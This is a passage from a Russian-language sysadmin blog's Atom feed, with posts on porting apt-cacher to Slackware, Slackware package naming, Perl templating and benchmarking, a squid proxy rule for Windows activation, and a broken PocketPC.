./usr/share/doc/apt-cacher/README.Debian.gz
./etc/
./etc/init.d/
./etc/init.d/apt-cacher
./etc/default/
./etc/default/apt-cacher
./etc/apt-cacher/
./etc/apt-cacher/checksumming.conf
./etc/apt-cacher/apt-cacher.conf
./etc/apt-cacher/apache.conf
./etc/logrotate.d/
./etc/logrotate.d/apt-cacher
./etc/cron.daily/
./etc/cron.daily/apt-cacher&lt;/pre&gt;

&lt;p&gt;Что же тут не соотвествует стандартам slackware? Многое:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Страницы руководств man должны храниться в &lt;tt&gt;/usr/man&lt;/tt&gt;, а не в &lt;tt&gt;/usr/share/man&lt;/tt&gt;. К счастью в slackware уже есть символическая ссылка &lt;tt&gt;/usr/share/man&lt;/tt&gt; на &lt;tt&gt;/usr/man&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;Документация програм должна хранится в &lt;tt&gt;/usr/doc&lt;/tt&gt;, а не в &lt;tt&gt;/usr/share/doc&lt;/tt&gt;. Опять же аналогичная спасительная символическая ссылка уже есть.&lt;/li&gt;
&lt;li&gt;&lt;o&gt;Стартовые скрипты sysvinit должны храниться в &lt;tt&gt;/etc/rc.d/init.d&lt;/tt&gt;, а не в &lt;tt&gt;/etc/init.d&lt;/tt&gt;. А вот такого симлинка нет, не беда, создаем его сами:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# ln -s /etc/rc.d/init.d /etc/init.d&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Остальное вроде в порядке. Копируем tgz пакет на slackware сервер и устанавливаем его:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# installpkg apt-cacher-1.5.3.tgz&lt;/pre&gt;

&lt;p&gt;Просматриваем файл &lt;tt&gt;/etc/apt-cacher/apt-cacher.conf&lt;/tt&gt; и видим, что сервер будет запускаться под пользователем и группой &lt;tt&gt;www-data&lt;/tt&gt;. На данный момент в slackware их не существует, исправляем ситуацию:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# groupadd www-data
root@darkstar:~# useradd -g www-data www-data&lt;/pre&gt;

&lt;p&gt;Прописываем в файле /etc/default/apt-cacher значение параметра &lt;tt&gt;AUTOSTART=1&lt;/tt&gt; и пробуем запустить прокси-сервер apt-cacher:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# /etc/rc.d/init.d/apt-cacher start
Starting Apt-Cacher: apt-cacher/etc/rc.d/init.d/apt-cacher: line 26: start-stop-daemon: command not found&lt;/pre&gt;

&lt;p&gt;Твою мать! В стартовом скрипте используется дебиановская утилита start-stop-daemon, которой нет в slackware. Далее у нас два пути: переписать стартовый скрипт с использованием slackware-way утилит или установить утилиту start-stop-daemon. Системный администратор не программист :-), поэтому ничего переписывать не будем, а будем устанавливать утилиту. Возвращаемся в ubuntu и обнаруживаем, что start-stop-daemon почему-то находится в deb пакете dpkg. Ну да нам все равно, идем по проторенному пути:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ aptitude download dpkg
maxim@ubuntu:~$ sudo alien --to-tgz -k dpkg_1.13.22ubuntu7_i386.deb&lt;/pre&gt;

&lt;p&gt;Опять копируем полученный пакет на slackware, устанавливаем его и пытаемся снова запустить прокси-сервер apt-cacher:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# installpkg dpkg-1.13.22ubuntu7.tgz
root@darkstar:~# /etc/rc.d/init.d/apt-cacher start
Starting Apt-Cacher: apt-cacher/usr/sbin/apt-cacher: No cache_dir directory!&lt;/pre&gt;

&lt;p&gt;Уже лучше, предыдущей ошибки уже нет, но прокси-сервер все равно не стартует. На этот раз он жалуется на нехватку каких-то директорий. Похоже, что на ubuntu эти директории создаются из инсталяционного скрипта в в deb пакете. Но alien при конвертировании пакета нас честно предупреждает что инсталяционные скрипты не конвертируются. Хорошо. Начинаем внимательнее изучать содержимое deb пакета, для этого него извлекаем управляющие скрипты:&lt;/p&gt;
&lt;pre&gt;maxim@ubuntu:~$ dpkg -e apt-cacher_1.5.3_all.deb&lt;/pre&gt;

&lt;p&gt;И обнаруживаем в извлеченном файле &lt;tt&gt;DEBIAN/postinst&lt;/tt&gt; следующие строчки:&lt;/p&gt;
&lt;pre&gt;echo "Running apt-cacher's install script..."
/usr/share/apt-cacher/install.pl&lt;/pre&gt;

&lt;p&gt;Понятно, вот чего нам не хватало, запускаем этот скрипт на slackware вручную:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# /usr/share/apt-cacher/install.pl
Assuming www-data is the user ID used to run apt-cacher
Doing mkdir(/var/cache/apt-cacher, 0755)
Doing mkdir(/var/log/apt-cacher, 0755)
Doing mkdir(/var/cache/apt-cacher/private, 0755)
Doing mkdir(/var/cache/apt-cacher/import, 0755)
Doing mkdir(/var/cache/apt-cacher/packages, 0755)
Doing mkdir(/var/cache/apt-cacher/headers, 0755)
Doing mkdir(/var/cache/apt-cacher/temp, 0755)&lt;/pre&gt;

&lt;p&gt;Скрипт отработал успешно и создал необходимые системные директории. В очередной раз пробуем запустить прокси-сервер apt-cacher:&lt;/p&gt;
&lt;pre&gt;root@darkstar:~# /etc/rc.d/init.d/apt-cacher start
Starting Apt-Cacher: apt-cacher.&lt;/pre&gt;

&lt;p&gt;Кешируюший прокси-сервер для deb пакетов apt-cacher, после доработки напильником :-), успешно запустился на slackware. Теперь любой deb пакет будет скачиваться только один раз. При повторной установке на другом компьютере пакет будет браться из кеша, что увелит скорость скачивания и съэкономит трафик.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-626323725410407552?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/626323725410407552/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=626323725410407552' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/626323725410407552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/626323725410407552'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/02/deb-apt-cacher-slackware.html' title='Кешируюший прокси deb пакетов apt-cacher на slackware'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-2977410593396283937</id><published>2008-02-14T11:41:00.005+10:00</published><updated>2008-02-14T11:56:00.691+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Имена пакетов slackware</title><content type='html'>&lt;p&gt;&lt;em&gt;Как прочитать имя slackware пакета? Как правильно назвать slackware пакет?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Синтаксис имени slackware пакета:&lt;/p&gt;
&lt;pre&gt;    {program}-{version}-{arch}-{build}{tag}.tgz&lt;/pre&gt;

&lt;p&gt;Где:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;tt&gt;{program}&lt;/tt&gt; &amp;mdash; имя программы, как назвал ее автор, строчными буквами.&lt;/li&gt;
&lt;li&gt;&lt;tt&gt;{version}&lt;/tt&gt; &amp;mdash; версия программы.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;tt&gt;{arch}&lt;/tt&gt; &amp;mdash; архитектура процессора, возможные значения:&lt;br&gt;
&lt;tt&gt;i386&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;i486&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;i586&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;i686&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;x86_64&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;noarch&lt;/tt&gt; &amp;mdash; для пакетов без бинарных исполняемых файлов&lt;br&gt;
&lt;tt&gt;ppc&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;s390&lt;/tt&gt;&lt;br&gt;
Все пакеты дистрибутива slackware используют архитектуру &lt;tt&gt;i486&lt;/tt&gt; или &lt;tt&gt;noarch&lt;/tt&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt&gt;{build}&lt;/tt&gt; &amp;mdash; номер сборки пакета. Сборщик пакетов тоже человек, а значит может ошибаться. Исправленный пакет выпускается под тем же именем, но с измененным номером сборки.&lt;/li&gt;
&lt;li&gt;&lt;tt&gt;{tag}&lt;/tt&gt; &amp;mdash; уникальный идентификатор создателя пакета, обычно 3-х буквенный. Поле необязательное для автора дистрибутива и обязательное для всех остальных сборщиков. Иногда в конце поля &lt;tt&gt;{tag}&lt;/tt&gt; добавляют номер версии дистрибутива для которого предназначен данный пакет, отделяя его символом подчеркивания.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br&gt;Пример: &lt;tt&gt;&lt;strong&gt;ipcad-3.7.3-i486-2nmu_slack11.0.tgz&lt;/strong&gt;&lt;/tt&gt;&lt;/p&gt;

&lt;p&gt;Это пакет с программой &lt;a href="http://lionet.info/ipcad/"&gt;IPCAD&lt;/a&gt; (сбор статистики по трафику) версии 3.7.3, собранный и оптимизированный под архитектуру процессора intel 486. Сборщик пакета &amp;mdash; некто nmu. Пакет собран для Slackware 11. Версия сборки пакета &amp;mdash; 2.&lt;/p&gt;


&lt;p&gt;&lt;br&gt;&lt;br&gt;В завершение несколько советов по работе с slackware пакетами.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Как узнать, какая версия slackware установлена?&lt;/p&gt;
&lt;pre&gt;    cat /etc/slackware-version&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Как получить список установленных пакетов в slackware?&lt;/p&gt;
&lt;pre&gt;    ls -1 /var/log/packages&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Как получить список 10-и последних установленных пакетов в slackware?&lt;/p&gt;
&lt;pre&gt;    ls -t1 /var/log/packages | head&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Как получить список файлов в файле пакета slackware?&lt;/p&gt;
&lt;pre&gt;    tar -tzf имя_пакета.tgz&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Как получить список файлов в установленном пакете slackware?&lt;/p&gt;
&lt;pre&gt;    cat /var/log/packages/имя_пакета&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Как определить к какому из пакетов slackware принадлежит данный файл?&lt;/p&gt;
&lt;pre&gt;    cd /var/log/packages; grep path/to/file *&lt;/pre&gt;
&lt;p&gt;Надо указать абсолютный путь к файлу, но без начального слеша, пример:&lt;/p&gt;
&lt;pre&gt;    cd /var/log/packages; grep bin/chmod *
    coreutils-6.9-i486-1:bin/chmod&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Как узнать какой пакет нужно установить чтобы появился нужный файл?&lt;/p&gt;
&lt;p&gt;Перестать выпендриваться с командной строкой и воспользоваться поиском на сайте &lt;a href="http://packages.slackware.it"&gt;http://packages.slackware.it&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-2977410593396283937?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/2977410593396283937/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=2977410593396283937' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2977410593396283937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2977410593396283937'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/02/slackware.html' title='Имена пакетов slackware'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-6950375300357039227</id><published>2008-02-11T11:48:00.000+10:00</published><updated>2008-12-10T12:40:52.218+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='жизнь'/><title type='text'>Разбитый PocketPC</title><content type='html'>&lt;p&gt;На прошлой неделе разбил свой КПК &lt;a href="http://market.yandex.ru/model.xml?hid=91015&amp;modelid=283402"&gt;Toshiba e330&lt;/a&gt;. Подаренный в своё время &lt;a href="http://ssh3.livejournal.com/"&gt;ssh&lt;/a&gt;-ом, он мне прослужил больше года. Однако оказалось, что удара кулака в морду он не выдерживает. :-(&lt;/p&gt;

&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_cy3rHHEVGOo/R6-qE777BmI/AAAAAAAAACY/mqbzkfYBNgE/s1600-h/PocketPC.JPG"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_cy3rHHEVGOo/R6-qE777BmI/AAAAAAAAACY/mqbzkfYBNgE/s320/PocketPC.JPG" alt="" id="BLOGGER_PHOTO_ID_5165534299402471010" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;КПК использовался только для чтения. Видимо, из-за моральной и физической старости, на нем сильно глючил сенсорный экран и кнопки на крестовине. Собственно за что он и получил удар в порыве злости. На экране ещё с пол часа светилось последнее в его жизни изображение &amp;mdash; страница из книги Виктора Астафьева &amp;laquo;&lt;a href="http://www.lib.ru/PROZA/ASTAFIEW/proklyaty2.txt"&gt;Прокляты и убиты. Часть вторая&lt;/a&gt;&amp;raquo;. Теперь мне нужен новый КПК, ведь очень хочется узнать чем все там закончилось...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-6950375300357039227?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/6950375300357039227/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=6950375300357039227' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6950375300357039227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/6950375300357039227'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/02/pocketpc.html' title='Разбитый PocketPC'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_cy3rHHEVGOo/R6-qE777BmI/AAAAAAAAACY/mqbzkfYBNgE/s72-c/PocketPC.JPG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-3343369158656946953</id><published>2008-01-30T16:42:00.000+10:00</published><updated>2008-02-11T14:13:01.279+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Веб-программирование на perl и шаблоны html страниц</title><content type='html'>&lt;p&gt;Как я уже не раз замечал, обычно всякий веб-программист на perl проходит в своём развитии следующие стадии:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Шаблоны станиц не используются. Характерно для начинающих, совсем зеленых ещё программистов. Вывод страниц формируется непосредственно внутри скрипта, примерно следующим образом:&lt;/p&gt;

&lt;pre&gt;my $title = 'Hello world';
print "Content-type: text/html\n\n";
print "&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;$title&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;";&lt;/pre&gt;

&lt;p&gt;Проект начинает расти и программист замечает, что становится неудобно вносить изменения в дизайн страницы. Редактирование исходного кода программы нелогично, ведь алгоритм работы остается неизменным! Работа с html тегами осложнена, они же встаиваются в синтаксис другого языка, появляется избыточный синтаксический мусор. Про разделение труда на программиста и верстальщика и вообще говорить нечего, здесь оно невозможно. Так программист приходит к следующей стадии.&lt;/p&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Самописная шаблонная система. Теперь вывод страниц формируется при помощи отдельной функции. Шаблон загружается из внешнего файла. С помощью регулярных выражений в нем организуется поиск и замена фрагментов кода, например специально помеченных комментариев:&lt;/p&gt;

&lt;pre&gt;&amp;lt;table&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;&amp;lt;img src="logo.gif"&amp;gt;&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;&amp;lt;!-- $TopMenu --&amp;gt;&amp;lt;/td&amp;gt;
    &amp;lt;/tr&amp;gt;
    &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;&amp;lt;!-- $LeftMenu --&amp;gt;&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;&amp;lt;!-- $Content --&amp;gt;&amp;lt;/td&amp;gt;
    &amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;&lt;/pre&gt;

&lt;p&gt;Иногда реализуется функциональность вставки других файлов в шаблон (Include). По сравнению с начальным вариантом &amp;mdash; это большой шаг вперед, программист освобождается от большинства описанных недостатков. Это уже не &amp;laquo;ходьба пешком&amp;raquo;, но ещё и не &amp;laquo;езда на лимузине&amp;raquo;. Обычно собственная шаблонная система работает неоптимально и не предоставляет многих возможностей разработчику. Многие программисты надолго, если не на всегда, застревают на данной стадии и необоснованно гордятся своими поделиями. Другие же обрашаются к:&lt;/p&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Одна из общепризнанных шаблонных систем. От самописной системы они отличаются возможностями:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Полное разделение логики программы и внешнего вида страницы. Весь html код находится в шаблоне, скрипт сам не выдает ни одного тега.&lt;/li&gt;
&lt;li&gt;Условные вставки. Фрагмент шаблона появлется на странице при выполнении какого-либо условия.&lt;/li&gt;
&lt;li&gt;Обработка циклов или массивов переменных. Например, к элементам массива может быть применена одинаковая разметка и сформирована html таблица.&lt;/li&gt;
&lt;li&gt;Дополнительные возможности &amp;mdash; кеширование шаблонов и/или сгенерированных страниц, подключение пользовательских плугинов/фильтров.&lt;/li&gt;
&lt;li&gt;Годы поддержки и развития, хорошее быстродействие.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;В мире perl наиболее известными шаблонными системами являются:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://search.cpan.org/dist/Template-Toolkit/"&gt;&lt;tt&gt;Template Toolkit&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://search.cpan.org/dist/HTML-Template/"&gt;&lt;tt&gt;HTML::Template&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://search.cpan.org/dist/HTML-Mason/"&gt;&lt;tt&gt;Mason&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://search.cpan.org/dist/HTML-Embperl/"&gt;&lt;tt&gt;Embperl&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Выбор конкретной системы &amp;mdash; вопрос личных вкусов и предпочтений, я использую &lt;tt&gt;HTML::Template&lt;/tt&gt;. Она мне нравится за простой язык шаблонов, напоминающий html теги, без попыток создать новый язык программирования. Но подробный рассказ о этой шаблонной системе &amp;mdash; тема для отдельной статьи. В завершение хочу заметить что применять шаблоны можно не только для создания html страниц. На &lt;a href="http://cpan.org/"&gt;CPAN&lt;/a&gt; присутствуют модули для создания &lt;a href="http://search.cpan.org/dist/Excel-Template/"&gt;excel&lt;/a&gt; и &lt;a href="http://search.cpan.org/dist/PDF-FromHTML/"&gt;pdf&lt;/a&gt; документов из xml шаблонов. Пример &lt;a href="http://xeim.blogspot.com/2007/07/excel-perl.html"&gt;создания excel таблицы на perl из xml шаблона&lt;/a&gt; мною был уже описан.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-3343369158656946953?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/3343369158656946953/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=3343369158656946953' title='Комментарии: 6'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3343369158656946953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/3343369158656946953'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/01/perl.html' title='Веб-программирование на perl и шаблоны html страниц'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8085313489711980382</id><published>2007-12-11T13:53:00.000+10:00</published><updated>2007-12-11T15:29:01.601+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='squid'/><title type='text'>Активация windows и http прокси</title><content type='html'>&lt;p&gt;&lt;i&gt;Решение проблемы активации операционных систем семейства windows при использовании http прокси сервера squid, требующего авторизации пользователей.&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Я никогда не работал с лицензионной ОС windows. Раньше была ворованная, теперь уже 2 года как я не использую windows совсем, ни дома, ни на работе. Но возникла задача: в организации не могут активировать свой легально купленный экземпляр windows через интернет. Доступ к интернет осуществляется через http прокси сервер squid, требующий авторизацию пользователей.&lt;/p&gt;

&lt;p&gt;Гугление дает описание &lt;a href="http://support.microsoft.com/kb/921471"&gt;этой ошибки&lt;/a&gt; в базе данных  глюков, которую сама микрософт почему-то называет «базой знаний». Предлагается на выбор 3 варианта костылей:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Отказаться от авторизации пользователей на http-прокси сервере.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Задать список урлов, не требующих авторизации:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http://go.microsoft.com/*&lt;/li&gt;
&lt;li&gt;https://sls.microsoft.com/*&lt;/li&gt;
&lt;li&gt;https://sls.microsoft.com:443&lt;/li&gt;
&lt;li&gt;http://crl.microsoft.com/pki/crl/products/MicrosoftRootAuthority.crl&lt;/li&gt;
&lt;li&gt;http://crl.microsoft.com/pki/crl/products/MicrosoftProductSecureCommunications.crl&lt;/li&gt;
&lt;li&gt;http://www.microsoft.com/pki/crl/products/MicrosoftProductSecureCommunications.crl&lt;/li&gt;
&lt;li&gt;http://crl.microsoft.com/pki/crl/products/MicrosoftProductSecureServer.crl&lt;/li&gt;
&lt;li&gt;http://www.microsoft.com/pki/crl/products/MicrosoftProductSecureServer.crl&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Активировать копию windows по телефону.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Для решения проблемы используем костыль №2. Добавляем следующие строки в файл конфигурации squid &amp;mdash; &lt;tt&gt;/etc/squid/squid.conf&lt;/tt&gt;&lt;/p&gt;

&lt;pre&gt;acl micro_act dstdom_regex microsoft\.com$
http_access allow micro_act&lt;/pre&gt;

&lt;p&gt;После перезапуска squid разрешит обращаться к сайтам, имя которых оканчивается на microsoft.com, не требуя авторизации. Это позволит провести активацию windows, правда учета трафика на эти сайты уже не будет. Это зло, с которым придется смириться. Вот уж не предполагал, что использование легального программного обеспечения создает дополнительные трудности пользователям.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8085313489711980382?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8085313489711980382/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8085313489711980382' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8085313489711980382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8085313489711980382'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/12/windows-http.html' title='Активация windows и http прокси'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-8636603279934673037</id><published>2007-11-05T12:37:00.000+10:00</published><updated>2007-11-05T15:16:08.612+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Сравнение производительности perl кода</title><content type='html'>&lt;p&gt;Иногда требуется выяснить как быстро работает тот или иной фрагмент кода на perl. Для этого можно использовать perl модуль &lt;a href="http://perldoc.perl.org/Benchmark.html"&gt;Benchmark&lt;/a&gt;, входящий в стандартную поставку perl.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Задача&lt;/strong&gt;. Как оптимальнее организовать перебор элементов хеша, например просуммировать значения всех ключей. В полном соответствии с принципом &lt;a href="http://en.wikipedia.org/wiki/There_is_more_than_one_way_to_do_it"&gt;TIMTOWTDI &lt;/a&gt; существует несколько вариантов решения задачи:&lt;/&gt;

&lt;p&gt;&lt;em&gt;Вариант №1&lt;/em&gt;. Использование цикла «foreach ( &lt;a href="http://perldoc.perl.org/functions/values.html"&gt;values&lt;/a&gt; ... )».&lt;/p&gt;

&lt;pre&gt;sub hash_values_sum_1(%) {
    my %hash = @_;
    my $sum = 0;
    $sum += $_ foreach values %hash;
    return $sum;
}&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Вариант №2&lt;/em&gt;. Использование конструкции«&lt;a href="http://perldoc.perl.org/functions/map.html"&gt;map&lt;/a&gt; ... values ... ».&lt;/p&gt;

&lt;pre&gt;sub hash_values_sum_2(%) {
    my %hash = @_;
    my $sum = 0;
    map { $sum += $_ } values %hash;
    return $sum;
}&lt;/pre&gt;

&lt;p&gt;&lt;em&gt;Вариант №3&lt;/em&gt;. Использование цикла «while ( ... &lt;a href="http://perldoc.perl.org/functions/each.html"&gt;each&lt;/a&gt; ... )».&lt;/p&gt;

&lt;pre&gt;sub hash_values_sum_3(%) {
    my %hash = @_;
    my $sum = 0;
    $sum += $_ while (undef, $_) = each %hash;
    return $sum;
}&lt;/pre&gt;


&lt;p&gt;Для проверки проверки напишем небольшой тестовый скрипт:&lt;/p&gt;

&lt;pre&gt;#!/usr/bin/perl -w
use strict;
use Benchmark qw/ :all /;

my %hash = map { rand, rand } ( 1 .. 1000 );

cmpthese( 5_000_000 , {
    var1 =&gt; 'my $sum = 0; $sum += $_ foreach values %hash',
    var2 =&gt; 'my $sum = 0; map { $sum += $_ } values %hash;',
    var3 =&gt; 'my $sum = 0; $sum += $_ while (undef, $_) = each %hash;',
} );&lt;/pre&gt;

&lt;p&gt;Проверяем производительность трех вариантов решения задачи. Для этого используем тестовый хеш, содержащий 1000 случайных ключей со случайными значениями. Для получения усредненных результатов, каждый из вариантов запускается по 5 миллионов раз. Результаты работы скрипта:&lt;/p&gt;

&lt;pre&gt;          Rate variant_1 variant_3 variant_2
var1  946970/s        --      -48%      -73%
var3 1838235/s       94%        --      -48%
var2 3546099/s      274%       93%        --
&lt;/pre&gt;

&lt;p&gt;По таблице результатов видно, что:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Вариант №3 работает почти в 2 раза быстрее, чем вариант №1.&lt;/li&gt;
&lt;li&gt;Вариант №2 работает почти в 2 раза быстрее, чем вариант №3.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;В данном конкретном случае вариант №2 является однозначным победителем. Его использование более предпочтительно.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-8636603279934673037?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/8636603279934673037/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=8636603279934673037' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8636603279934673037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/8636603279934673037'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/11/perl.html' title='Сравнение производительности perl 